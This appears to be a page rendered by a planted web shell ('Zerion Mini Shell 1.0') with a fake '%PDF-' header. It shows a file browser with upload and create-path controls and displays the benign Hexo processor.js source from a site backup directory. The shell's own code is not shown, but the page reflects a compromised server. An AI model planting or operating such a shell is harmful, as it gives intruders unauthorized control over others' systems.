%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/specpages-backup/node_modules/hexo/lib/extend/
Upload File :
Create Path :
Current File : /www/specpages-backup/node_modules/hexo/lib/extend/processor.js

'use strict';

const Promise = require('bluebird');
const { Pattern } = require('hexo-util');

class Processor {
  constructor() {
    this.store = [];
  }

  list() {
    return this.store;
  }

  register(pattern, fn) {
    if (!fn) {
      if (typeof pattern === 'function') {
        fn = pattern;
        pattern = /(.*)/;
      } else {
        throw new TypeError('fn must be a function');
      }
    }

    if (fn.length > 1) {
      fn = Promise.promisify(fn);
    } else {
      fn = Promise.method(fn);
    }

    this.store.push({
      pattern: new Pattern(pattern),
      process: fn
    });
  }
}

module.exports = Processor;

Zerion Mini Shell 1.0